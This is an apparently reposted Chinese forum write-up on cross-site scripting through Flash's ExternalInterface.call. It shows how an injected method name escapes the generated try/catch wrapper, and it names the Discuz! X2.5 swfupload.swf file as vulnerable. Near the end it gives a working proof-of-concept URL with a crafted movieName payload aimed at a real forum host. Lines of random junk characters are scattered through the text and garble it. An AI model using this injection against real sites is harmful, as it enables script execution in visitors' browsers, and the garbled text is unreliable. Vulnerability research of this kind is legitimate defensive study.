上回我们说
# W; b' q; w) L4 U6 C8 x+ k& u( B' s, z, B1 S1 a6 }+ E
flash.external.ExternalInterface.call($methodName, $parameter)
$ ?9 s/ A7 u. d2 f在浏览器中执行的是8 Q4 s8 D. Q p
" G' M) P* T* ]% F: J q C' f; y
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
% e' z: J. _ [+ \对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
" ~- }4 z* j% Z6 o6 O, u
, f4 D ^* E1 f$ v$ }flash.external.ExternalInterface.call("object."+$methodName, $parameter)
8 E% U+ G, v7 [2 g' Y$methodName = a())}catch(e){alert(/xss/)}//% b7 D& f4 q5 T4 [% L
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
6 `* K6 r% X5 d
7 ~7 j, k9 l' a7 V$ Z9 Otry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }$ L! K2 o9 U8 L$ d. R5 r
# x9 B6 P. T# A5 ?
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
$ h K5 ~; r: M; F( W$ [2 t* _2 y杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
& @2 Z* c I3 A8 d1 G3 D# q( u3 { S$ v
* ?3 J" i1 ~% [) _
8 @6 T( w W6 ]. Q# \% @
漏洞文件:upload\static\image\common\swfupload.swf
( t8 a$ R' o2 P$ R0 u; `
, I: f. c% r1 {% C! q3 ]原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf# O! {+ p: g/ q8 J0 l3 g. r C
8 X" R) {# N4 K) O$ G# i) S* A& I, j/ P6 g- M# u0 N
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
) G8 b) [6 M2 \2 A% n/ L5 `4 R& r0 p7 W# n r
& S* Q9 ^$ N: q6 p( A
|